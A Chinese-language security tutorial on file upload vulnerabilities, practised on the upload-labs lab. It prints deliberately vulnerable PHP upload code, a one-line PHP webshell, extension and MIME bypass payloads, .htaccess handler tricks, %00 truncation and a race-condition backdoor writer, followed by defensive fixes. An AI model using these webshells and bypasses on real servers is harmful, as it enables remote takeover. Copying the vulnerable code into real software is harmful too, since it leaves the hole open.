07-文件上传漏洞全套:后缀绕过、MIME绕过、截断上传、解析漏洞
合规声明:本文所有漏洞复现均在本地靶场环境(upload-labs / DVWA)中进行,仅用于安全学习与研究。未经授权对他人系统进行漏洞测试属于违法行为,请务必遵守《网络安全法》及相关法律法规。学技术的目的是防住它,不是干坏事。
一、开篇:一个"传图片"引发的血案
各位同学好,我是黒漂技术佬。欢迎来到 OWASP Top10 Web 漏洞核心精讲系列的第 7 篇。
前面几篇我们聊了 SQL 注入、XSS 这些"老熟人"。今天要讲的这个漏洞,在甲方安全工程师眼里是"必须修的高危",在红队眼里是"一条通往服务器心脏的捷径"——它就是文件上传漏洞(File Upload Vulnerability)。
先讲个场景,帮你建立直观印象:
某个论坛网站,为了让用户能发头像,做了一个上传功能。开发小哥写了 20 行代码,判断了一下文件是不是图片,然后就存到服务器上,再返回一个 URL。看起来人畜无害对吧?
但如果这个"判断"写得不够严,攻击者上传的就不是一张猫猫头像,而是一个 shell.php——一段 PHP 代码。一旦这个文件被 Web 服务器解析执行,攻击者就拿到了在服务器上执行代码的能力,等于把家门钥匙塞给了陌生人。
一句话概括:
文件上传漏洞,就是攻击者上传了一个可被服务器解析执行的恶意脚本文件,从而获得服务器控制权(getshell)的漏洞。
注意这句话里的两个关键词:上传、解析执行。缺一个都不成立。这也是我们后面所有攻防思路的总纲。
二、漏洞原理:能上传 + 能解析 + 知道路径
文件上传功能本身不是漏洞——哪个网站不让传头像?漏洞出现在**"上传的文件没有被正确校验"或"存储方式不安全"**的时候。
一个完整的文件上传攻击链,需要同时满足三个条件:
条件 1:能上传恶意文件
服务端的校验被绕过了(这是本篇的重头戏:后缀绕过、MIME 绕过、截断绕过)。
条件 2:文件能被解析执行
上传的 .php 文件放在 Web 目录下,访问它时服务器会用 PHP 解释器执行它。如果存储目录被配置为纯静态资源目录(不执行脚本),攻击就失效了。
条件 3:知道文件的访问路径
攻击者得知道上传后的文件在哪儿,才能去访问它。很多程序上传后返回完整 URL,有些则需要猜测(比如 upload/20260827/xxxx.php)。
用一句话总结攻击面:
能上传(绕过校验) + 能解析(目录可执行) + 知道路径(可访问) = Getshell
而防御方的任务,就是把这三根支柱全部砍断——任何一根断了,攻击链就断了。这个思路请牢记,最后防御方案章节会回收。
2.1 先看看"裸奔"的上传代码长什么样
下面是一个有漏洞的典型 PHP 上传代码(靶场同款简化版,请勿用于生产):
<?php
// vuln_upload.php —— 漏洞示例代码,仅用于学习
if (isset($_FILES['file'])) {
// 拿到用户上传的文件名
$filename = $_FILES['file']['name'];
// 拿到临时文件路径
$tmp = $_FILES['file']['tmp_name'];
// 直接拼接到上传目录,未做任何校验
$dest = "upload/" . $filename;
// 移动临时文件到目标位置
move_uploaded_file($tmp, $dest);
echo "上传成功:" . $dest;
}
?>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
逐行解释:
$_FILES['file']['name']:文件在用户电脑上的原始文件名,完全由客户端控制——这就是问题的根源,攻击者想让它是啥就是啥。move_uploaded_file():把上传的临时文件挪到目标目录。- 整个过程没有任何校验:不看后缀、不看内容、不改文件名。
攻击者构造一个 shell.php:
<?php
// shell.php —— 靶场演示用一句话木马
@eval($_POST['cmd']);
?>
这行代码的意思是:把 POST 请求中 cmd 参数的值作为 PHP 代码执行。上传后访问 http://localhost/upload/shell.php,用蚁剑/菜刀连接,服务器就"沦陷"了(当然,是在我们自己的靶场里)。
真实的代码不会裸奔得这么彻底,总会有各种校验。于是攻防博弈就开始了——接下来就是本篇最精彩的部分:各种绕过姿势。
三、客户端校验与 JS 绕过
最弱的防护是在浏览器端用 JavaScript 校验后缀。大概长这样:
<script>
function checkFile() {
// 取出文件名
var filename = document.getElementById('f').value;
// 定义允许的后缀
var allow = ['.jpg', '.png', '.gif'];
// 取后缀(转小写)判断是否在白名单里
var ext = filename.substring(filename.lastIndexOf('.')).toLowerCase();
if (allow.indexOf(ext) === -1) {
alert('只能上传图片!');
return false; // 阻止提交
}
return true;
}
</script>
绕过方式简单到离谱:
- 浏览器禁用 JS(F12 → 设置里禁用),表单照样能提交;
- 正常选一张
cat.jpg让 JS 校验通过,然后用 Burp Suite 抓包,把包里的文件名改成shell.php再放行; - 直接删掉前端校验代码,自己构造一个表单提交到目标地址。
核心认知:所有发生在客户端的校验都只是"用户体验优化",不构成安全边界。前端校验挡君子不挡小人。安全必须由服务端保证。
四、MIME 类型绕过
服务端第一道常见的校验是检查 MIME 类型(Content-Type)。先科普一下:
当你在网页上选好文件点上传时,浏览器发出的 HTTP 包长这样:
POST /upload.php HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----abc
------abc
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php ← 这就是 MIME 类型
<?php @eval($_POST['cmd']); ?>
------abc--
注意:Content-Type: application/x-php 这个值,是浏览器根据文件类型填的,攻击者可以用 Burp 抓包随意修改。
服务端校验代码(有漏洞的写法):
<?php
// 只允许 image/gif、image/jpeg、image/png
$allow_mime = ['image/gif', 'image/jpeg', 'image/png'];
if (in_array($_FILES['file']['type'], $allow_mime)) {
move_uploaded_file($_FILES['file']['tmp_name'], 'upload/' . $_FILES['file']['name']);
echo "上传成功";
} else {
echo "MIME 类型不合法";
}
?>
$_FILES['file']['type'] 取的就是请求头里那个 Content-Type——一个攻击者完全可控的字段。
绕过步骤(Burp Suite 操作):
- 浏览器正常选一个
shell.php上传,Burp 拦截请求; - 把包里的
Content-Type: application/x-php改成Content-Type: image/gif; - 注意
filename还是shell.php,因为服务端只查了 MIME 没查后缀; - 放行请求,上传成功。
一句话总结:MIME 校验只是"问了一下客户端你觉得这是什么文件",客户端当然会说谎。 MIME 可以作为辅助判断,但绝不能作为唯一防线。
五、后缀名绕过全家桶
接下来是重头戏。假设服务端校验了文件后缀(黑名单或白名单),攻击者还有一大堆姿势可以试。以 upload-labs 靶场为参照逐个讲。
5.1 黑名单 vs 白名单:先分清敌我
黑名单:列出禁止的后缀,比如 ['php', 'asp', 'jsp'],其他的都放行。
白名单:列出允许的后缀,比如 ['jpg', 'png', 'gif'],其他的都拒绝。
安全圈铁律:黑名单注定是"道高一尺魔高一丈"的猫鼠游戏,白名单才是正道。 因为黑名单永远列不全。下面看看黑名单是怎么被花式穿透的。
5.2 大小写绕过
如果黑名单代码是这样:
<?php
$black = ['php', 'asp', 'jsp'];
// 取文件名最后一个点之后的部分作为后缀
$ext = substr(strrchr($_FILES['file']['name'], '.'), 1);
if (in_array($ext, $black)) {
die('禁止上传脚本文件');
}
?>
strrchr() 找到最后一个 . 后面的部分,没有转小写。于是:
- 上传
shell.pHp→ 后缀是pHp,不在黑名单里 → 通过! - 而 Windows 系统文件名不区分大小写,Apache 解析
shell.pHp时依然交给 PHP 处理。
绕过成本:改个大小写就完事。
5.3 双写绕过
有些代码发现黑名单后缀后,会做一个"删除处理":
<?php
$danger = ['php', 'jsp', 'asp'];
$name = $_FILES['file']['name'];
// 把危险后缀删掉——但只删了一次!
$name = str_ireplace($danger, '', $name);
move_uploaded_file($_FILES['file']['tmp_name'], 'upload/' . $name);
?>
str_ireplace() 是不区分大小写的替换。看起来挺严格?攻击者上传:
shell.pphphp→ 服务端删掉中间的php→ 剩下shell.php→ 完美!- 同理
shell.pphphphp删一次php后变成shell.pphp… 呃这个不对,正确姿势是构造"删除后恰好拼出目标后缀"的字符串。
核心思想:替换/过滤类防御如果只执行一次,就存在"删完重组"的绕过。防御方要用循环替换直到结果不再变化。
5.4 空格与点号绕过(Windows 特供)
Windows 文件系统的"温柔"特性:
- 文件名结尾的空格会被系统自动忽略:
shell.php(注意末尾空格)存储时变成shell.php; - 文件名结尾的点也会被忽略:
shell.php.存储后变成shell.php。
如果黑名单代码用 $_FILES['file']['name'] 原样比对后缀,php 和 php. 都不在黑名单 ['php'] 里,校验通过。落到 Windows 磁盘上,系统自动"修剪"成 shell.php,解析正常。
用 Burp 抓包把 filename 改成 shell.php. 或 shell.php (结尾空格)即可。这是 upload-labs 经典关卡。
5.5 ::$DATA 绕过(Windows NTFS 特性)
NTFS 文件系统有个"备用数据流"(Alternate Data Streams)机制,文件名后面跟 ::$DATA 时,系统会把 ::$DATA 之后的内容当成数据流处理,主文件名保持不变:
- 上传
shell.php::$DATA - 黑名单比对后缀是
php::$DATA,不在黑名单 → 通过 - Windows 保存时实际创建的文件就是
shell.php
访问 http://target/upload/shell.php(不带 ::$DATA),照样解析执行。
这三个姿势(空格、点、::$DATA)都是 Windows 独有的礼物,Linux 服务器上不成立——但你怎么知道目标是 Windows 呢?都试一遍呗。
5.6 特殊可解析后缀
黑名单只封了 php,但 PHP 世界不止这一个后缀:
.php3/.php4/.php5/.php7:如果 Apache 的httpd.conf(或 PHP 配置)里配置了对应的AddType application/x-httpd-php .php3 ...,这些后缀同样会被解析;.phtml:常见的 PHP 可解析后缀;.pht:部分配置下可解析。
同理 JSP 世界有 .jspx、.jspf,ASP 世界有 .asa、.cer、.cdx。
上传 shell.phtml,内容还是 PHP 代码,黑名单没封它,服务器配置如果认它——getshell。
5.7 .htaccess 重写解析(Apache 的"自杀按钮")
如果黑名单封得比较全,但上传目录允许 Apache 读取 .htaccess(服务器开启 AllowOverride All),那就是另一条路:
先上传一个 .htaccess 文件,内容:
# 让所有 gif 文件都被当作 php 解析
AddType application/x-httpd-php .gif
或者更精炼的写法:
<FilesMatch "shell.gif">
SetHandler application/x-httpd-php
</FilesMatch>
逐行解释:
AddType application/x-httpd-php .gif:告诉 Apache,凡是.gif结尾的文件,都交给 PHP 处理器解析——不管内容是不是真图片;- 第二种写法是指名道姓:
shell.gif这个文件用 PHP 解析。
然后再上传一个 shell.gif(内容是 PHP 代码),访问它时就会被当作 PHP 执行。
这招的启发是:攻击面不只是脚本后缀本身,还包括能改变服务器解析行为的配置文件。
六、00 截断:一个时代的眼泪(但面试必考)
00 截断是老漏洞,在 PHP < 5.3.4 且 magic_quotes_gpc 关闭的环境下才成立。现在生产环境基本绝迹,但原理必须懂,面试官特别爱问。
6.1 原理
先看有漏洞的代码:
<?php
// 用户可以控制保存路径的一部分
$save_path = $_GET['path']; // 例如 upload/
$file_name = $_FILES['file']['name'];
// 拼接:upload/ + 文件名
$final = $save_path . $file_name;
move_uploaded_file($_FILES['file']['tmp_name'], $final);
?>
正常请求:upload.php?path=upload/,最终保存为 upload/shell.php(假设其他校验通过了后缀)。
现在问题来了:如果服务端有一步"检查最终路径必须以 /jpg 结尾"之类的逻辑,攻击者怎么骗过它?
答案是 %00 截断:
upload.php?path=upload/shell.php%00a.jpg
%00 URL 解码后是空字符(NULL,\0)。在 C 语言底层,字符串以 \0 作为结束标志。PHP 的底层文件操作函数调用 C 的 API 时,遇到 \0 就认为字符串到此为止:
- 服务端校验时看到的完整路径:
upload/shell.php\0a.jpg——以a.jpg结尾,校验通过; - 实际写文件时,C 层面字符串在
\0处截断,真正保存的路径是upload/shell.php。
一石二鸟:校验看到的是图片,磁盘上落的是脚本。
6.2 现代视角
PHP 5.3.4 之后修复了该问题(move_uploaded_file 等函数不再受空字符影响),所以现在:
- 面试时能讲清原理 → 加分;
- 实战中遇到 PHP 5.3.4+ 的目标 → 死心,换思路;
- 遇到老古董系统(是的,真的存在还在跑 PHP 5.2 的内网系统)→ 你懂的。
七、服务端解析漏洞:文件没错,是服务器"看走眼了"
就算你老老实实上传了一个"图片",如果服务器解析机制本身有缺陷,图片也能变脚本。这类漏洞被称为解析漏洞,主角是 Apache 和 Nginx(以及老 IIS,本文略)。
7.1 Apache 多后缀解析漏洞
Apache 解析文件后缀的规则是:从右往左识别,遇到不认识的后缀就继续往左看。
例如文件 shell.php.xxx:
- Apache 先看
.xxx——不认识,这是什么玩意? - 继续往左看
.php——认识!这是 PHP 文件! - 于是交给 PHP 处理器执行。
所以上传一个 shell.php.abc、shell.php.png(只要最右边那个后缀不在 Apache 认识的 MIME 表里),就会被当 PHP 解析。黑名单如果只封了 php 后缀,php.png 这种"缝合怪"就成了漏网之鱼。
7.2 Nginx 解析漏洞(路径修复不当型)
经典的 Nginx + PHP(php-cgi / php-fpm 配置不当)解析漏洞:
上传一张正常的 shell.jpg(图片开头是真的 JPEG 头,后面藏 PHP 代码,即"图片马"),然后访问:
http://target/upload/shell.jpg/xxx.php
如果 Nginx 的 cgi.fix_pathinfo(PHP 配置)为 1(默认值),Nginx 会把 xxx.php 找不到的路径回溯到 shell.jpg,并把它交给 PHP 处理器。于是 shell.jpg 被当成 PHP 执行——里面的恶意代码就跑起来了。
原理一句话:Nginx 把"不存在的 .php 路径"错误地回溯到了一个存在的非 PHP 文件上,并交给 PHP 解析。
7.3 图片马:让文件"表里不一"
上面这些解析漏洞的最佳搭档是图片马——文件头是合法图片格式,文件尾藏着 PHP 代码:
# 制作图片马(本地靶场练习用)
copy /b cat.jpg + shell.php shell.jpg # Windows 写法
cat cat.jpg shell.php > shell.jpg # Linux 写法
逐行解释:copy /b 是二进制合并,把 cat.jpg 和 shell.php 拼成一个文件。文件开头是 JPEG 魔数(FF D8 FF),过得了"文件头校验";尾部带着 PHP 代码,遇到解析漏洞就能执行。
注意:单独的图片马如果没有解析漏洞配合,是无法执行的——它只是个"藏着代码的图片"。图片马是子弹,解析漏洞才是扳机。
八、upload-labs 靶场实战
upload-labs 是国内最经典的文件上传靶场,21 关(社区版还在扩充),每一关对应一种防护/绕过思路。这里给你搭环境和打关的核心思路。
8.1 环境搭建
# 方式一:用 PHPStudy(Windows,新手推荐)
# 下载 PHPStudy,启动 Apache + MySQL,把 upload-labs 解压到 www 目录
# 浏览器访问 http://localhost/upload-labs/
# 方式二:Docker 一把梭
docker run -d -p 8080:80 -v /your/path/uploads:/var/www/html/upload \
--name uploadlabs uploadlabs:latest
逐行解释:-d 后台运行;-p 8080:80 把容器 80 端口映射到本机 8080;-v 把上传目录挂出来方便看文件落盘情况。
8.2 关卡思路速览
| 关卡 | 防护方式 | 破解思路 |
|---|---|---|
| Pass-01 | 前端 JS 校验 | Burp 改包或禁用 JS |
| Pass-02 | MIME 校验 | 抓包改 Content-Type |
| Pass-03 | 黑名单 + 特殊后缀未封全 | 上传 .php5 / .phtml |
| Pass-04 | 黑名单较全 | .htaccess 重写解析 |
| Pass-05 | 大小写未转换 | shell.pHp |
| Pass-06 | 未去空格 | shell.php (尾空格) |
| Pass-07 | 未去点 | shell.php. |
| Pass-08 | 未过滤 ::$DATA | shell.php::$DATA |
| Pass-09 | 双写过滤 | shell.pphphp |
| Pass-10 | 双写(另一变体) | 同上思路构造 |
| Pass-11 | GET 参数路径拼接 | %00 截断(需 PHP<5.3.4) |
| Pass-12 | POST 参数路径拼接 | %00 截断(需改 hex,因为 POST 不会自动 URL 解码) |
| Pass-13~16 | 文件头校验(getimagesize 等) | 图片马 |
| Pass-17~18 | 二次渲染 / 条件竞争 | 利用渲染未覆盖区域 / 并发抢跑 |
打法建议:每关先看源码(靶场自带提示),对着防护逻辑想"哪里可控、哪里判断不严",再动手。看源码的能力比 payload 库更重要。
举一个条件竞争的例子(Pass-18 思路):服务端先保存文件、再校验、再删除不合规的文件。这个"保存"和"删除"之间存在一个时间窗口。攻击者用脚本在窗口期内疯狂并发访问 upload/shell.php,只要有一次在删除前被访问执行了,就赢了——比如让 shell 执行时先把真正的后门复制到别的路径:
<?php
// 竞争利用:被访问的瞬间把自身复制成持久后门
$shell = '<?php @eval($_POST["cmd"]);?>';
file_put_contents('backdoor.php', $shell);
?>
逐行解释:file_put_contents() 直接创建一个新文件 backdoor.php 写入一句话木马。原文件就算被删了,backdoor.php 还在。
九、防御与修复方案(甲方重点,必看)
前面看了这么多"矛",现在换上"盾"。回顾开头的攻击链三条件,防御就是把每一环都砸碎。
9.1 后缀白名单校验(第一道墙)
<?php
// 白名单:只允许真正的图片格式
$allow = ['jpg', 'jpeg', 'png', 'gif'];
// 取后缀并强制转小写
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allow)) {
http_response_code(400);
die('文件类型不允许');
}
?>
逐行解释:
pathinfo(..., PATHINFO_EXTENSION):可靠地取文件扩展名;strtolower():堵死大小写绕过;in_array白名单判断:只放行明确允许的,其余一律拒绝。
9.2 文件内容检测(Magic Number 魔数校验)
后缀会撒谎,但文件头不会。每种文件格式开头都有固定字节(魔数):
- JPEG:
FF D8 FF - PNG:
89 50 4E 47 - GIF:
47 49 46 38
<?php
// 读取文件前几个字节判断真实类型
$fh = fopen($_FILES['file']['tmp_name'], 'rb');
$magic = bin2hex(fread($fh, 4));
fclose($fh);
$valid = ['ffd8ffe0' => 'jpg', 'ffd8ffe1' => 'jpg', '89504e47' => 'png', '47494638' => 'gif'];
if (!isset($valid[$magic])) {
die('文件内容不是合法图片');
}
?>
逐行解释:fread($fh, 4) 读文件前 4 字节;bin2hex() 转成十六进制字符串便于比对。白名单后缀 + 魔数校验双保险。
9.3 重命名 + 路径不可预测
<?php
// 用随机串重命名,彻底摆脱用户可控的文件名
$new_name = md5(uniqid(mt_rand(), true)) . '.' . $ext;
$dest = 'upload/' . date('Ymd') . '/' . $new_name;
?>
逐行解释:
md5(uniqid(...))生成随机文件名——即使上传了恶意文件,攻击者也猜不到路径(砍断攻击链条件三);- 用户原始文件名(包括所有
.、空格、::$DATA花活)被完全丢弃。
9.4 存储隔离 + 目录不可执行(釜底抽薪)
这是最硬核也最有效的一招:
- 上传文件存到独立存储:对象存储(OSS/COS)或独立文件服务器,与 Web 应用服务器分离;
- 存储目录的 Web 服务器配置禁止执行脚本。Apache 配置:
<Directory "/var/www/html/upload">
# 关闭引擎,upload 目录下任何脚本都不会被执行
php_admin_flag engine off
# 拒绝解析 .htaccess
AllowOverride None
</Directory>
Nginx 配置:
location /upload/ {
# upload 目录下的所有 .php 请求直接返回 403
location ~ .*\.(php|php5|phtml)$ {
return 403;
}
}
逐行解释:Nginx 的 location 嵌套写法,凡是 /upload/ 路径下以脚本后缀结尾的请求,一律返回 403。就算攻击者把 shell.php 传上去了,访问也是 403——攻击链条件二"能解析"被斩断。
9.5 其他工程要点
- 修复解析漏洞配置:Nginx 关闭
cgi.fix_pathinfo=0或配置try_files;Apache 谨慎使用AddHandler/AddType映射; - 限制文件大小:防止恶意大文件打爆磁盘(DoS);
- 上传接口鉴权 + 频控:别让匿名用户随意上传,减少攻击面;
- 二次渲染:对图片真实重新编码(如
imagecreatefromjpeg再输出),可以破坏藏在尾部的恶意代码,对抗图片马。
9.6 防御清单(拿走即用)
- 白名单后缀校验(转小写、取真实后缀)
- Magic Number 内容校验,必要时二次渲染
- 随机重命名,丢弃用户原始文件名
- 存储目录禁止脚本执行(engine off / 403 规则)
- 上传目录独立部署,路径不可预测
- 服务器解析配置加固,修复已知解析漏洞
- 上传接口鉴权、频率限制、文件大小限制
- 定期审计上传目录中是否有非预期文件
十、小结
文件上传漏洞的攻防,本质是一场围绕"用户可控的文件名/文件内容/保存路径"的博弈:
- 攻击方招式:客户端绕过、MIME 撒谎、大小写/双写/空格/点/
::$DATA/特殊后缀、.htaccess、%00截断、图片马 + 解析漏洞、条件竞争; - 防御方正解:白名单 + 内容校验 + 随机重命名 + 目录不可执行,四板斧下去,前面的攻击姿势全部作废。
记住那句话:攻击链是"能上传 + 能解析 + 知道路径",防御只需断其一处,而最好的防御是三处全断。
下一篇我们继续追击另一个"参数可控"型漏洞——文件包含。那是另一条从 URL 参数直通服务器任意文件的隧道。